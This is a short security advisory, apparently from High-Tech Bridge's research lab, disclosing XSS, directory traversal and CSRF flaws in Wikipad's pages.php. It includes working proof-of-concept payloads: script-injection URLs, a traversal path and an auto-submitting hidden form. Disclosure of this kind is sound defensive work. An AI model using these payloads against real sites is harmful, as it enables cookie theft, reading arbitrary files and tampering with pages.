Multiple Vulnerabilities in Wikipad

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in Wikipad which could be exploited to perform cross-site scripting and cross-site request forgery attacks and disclose potentially sensitive information.

1) Cross-site scripting (XSS) vulnerability in Wikipad
The vulnerability exists due to input sanitation error in the "id" parameter in pages.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/pages.php?id=index"><script>alert(document.cookie)</script>
htt p://host/pages.php?action=edit&id=27-01-2011"><script>alert(document.cookie) </script>

2) Directory traversal vulnerability in Wikipad
The vulnerability exists due to insufficient sanitation of input data in pages.php. A remote attacker can read arbitrary files on the target system using directory traversal sequences.
Exploitation example:
http://host/pages.php?id=./../../../../../txt_file

3) Cross-site request forgery (CSRF) vulnerability in Wikipad
The vulnerability exists due to insufficient validation of the request origin in pages.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify arbitrary pages on the target system.
Exploitation example:
<form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&title =test " method="post" name="main">
<input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>
</form>
<script>
docum ent.main.submit ();
</script>